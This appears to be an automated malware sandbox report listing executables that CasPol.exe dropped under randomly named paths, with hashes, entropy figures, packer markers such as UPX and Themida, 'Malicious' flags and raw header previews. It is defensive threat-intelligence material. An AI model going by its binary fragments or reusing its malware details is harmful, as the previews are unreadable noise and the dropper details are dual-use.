                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.....B.-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\cfFApIZxb8kkHuTB0N89Kc85.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\dGDzhUFIRKv6GPXQTIFzAmvz.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767399305347473
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:ZGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+B:8JBm3eJcFt4uM6mFBJtLXVUM
                                                                                                        MD5:54831D5ACB104E982AC788D34084DD63
                                                                                                        SHA1:A9CD4C7D4FDF6CE6F549DFFA3F1F3C7E31C5F5EA
                                                                                                        SHA-256:F91542E126E2D728AC89884B6C2C41449460B6D98C63981A73321448F61E51C4
                                                                                                        SHA-512:06188CADC0FF4C47CEBEEAF40DEC6FB74FE398E8339D8B48FD552038D556A649E3B41F59D6304CDA7D267DE189AEBCB01136D780957057348689526C1A09B0AC
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R......{-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\eahQfcDSk2Fi3XgQUppzGpDN.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767396712652845
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:6GFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+q:3JBm3eJcFt4uM6mFBJtLXVUf
                                                                                                        MD5:F7D06CE1DE3CDC8C9AB12EFCF33BC6DE
                                                                                                        SHA1:A27A69635A7981FF75F9B193413512555D47C123
                                                                                                        SHA-256:9F1E4EFB999E56DE7EA4D86AD2D70F236138810ACB254577DC30FAC605FD12A1
                                                                                                        SHA-512:0E3EEEC1DD9B8ABF285B978524A5CBCC8905C942391E153C8EE673B7D3429B62060181EF2BB7A97C6076A2E05C6A84BB4613F8291101F6C6145B9086D10ACE22
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R......U-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\fvOd5pvADdxILNx2P8qpoMRr.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\gfhvq0lCOSbYQVB1nKgfu6Hp.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767396554276391
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:LGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+e:yJBm3eJcFt4uM6mFBJtLXVU3
                                                                                                        MD5:7B410283C59B639440C193854A32BEBD
                                                                                                        SHA1:CB3A15025D15101A5615118E57C7512730C5CF21
                                                                                                        SHA-256:DF19B3D5D7DE1F0CD811A9C9C79EDC6E34BA8AC75904D5C71974CC07A969D2AD
                                                                                                        SHA-512:79F5E68491E9B98E40FE37DA069E5797C3027646A71BE9EFB5E2677DA7323096B74013F85F6539B052B29A673F7AF97F293905517CD762E16FF8B19040DF0D16
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R......D-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\ghRQ9o9v0E1RiBJYsVlARkCv.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\iJmdFm3rqTwH6xDLZ8cWxZXG.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\ikxtQFXRCEfEHQTLmAUzD8qT.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767398807058774
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:KGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+e:nJBm3eJcFt4uM6mFBJtLXVUv
                                                                                                        MD5:71F883AE422DDE9E3AA7975C48334D29
                                                                                                        SHA1:7FF8D52E4D74758757FA489D54AE8793FA5328BC
                                                                                                        SHA-256:5248FA39574D909D6A4FB9924230B6CDBA92F5FFAC406290E626563F7D8BF663
                                                                                                        SHA-512:CBB8EDEE87329EBF00C3BCAC6B46A6C6ABB75C97E70486E71140D1A71205A25D7B6A8FAF9582261859F25695FB2841BFAC721CCA1EF530110A5567F44414E0C3
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.......-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\j4PByMYVUXG02LUhnYCAO1Ii.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\jHK91yJ3AAbdMiBNHu82OP1N.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\jjgHySnKRf0NbElCZVSQsmlU.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\kSoeiDedOAsNYRmhaJ0MUJfS.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767399845218745
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:UGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+Q:FJBm3eJcFt4uM6mFBJtLXVUt
                                                                                                        MD5:9D8AD117253C7E7E5CEBB1CF22A79E68
                                                                                                        SHA1:6D0191565B0F71DC2D9BACD2BF61AEFD6F36D1EB
                                                                                                        SHA-256:943DE6361BA2D76EC33AB3FA8DB19B52312F7F39BB96B1966D0242373ED88194
                                                                                                        SHA-512:6E77B5D71B060185CADBCFDB4D32E8898BFB68659691CAAF378D16C764AC79EE6A5C3C2AB619F6B8B21BFB588A864A41AD296CF47EAFC042F80B657C2FB2F51C
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R......j-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\AppData\Local\kU3XrqGZNssn3brmhPHjP88a.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\lx1ggIRPyoQP8uRSWNRnkZlF.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\nAYvFI55VRrTI2EB1vGUUN7i.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\nZyDVnEdKbWT6VJAEI93BfTp.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\nql3mTXVYbBdwRCyxTdPASFH.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
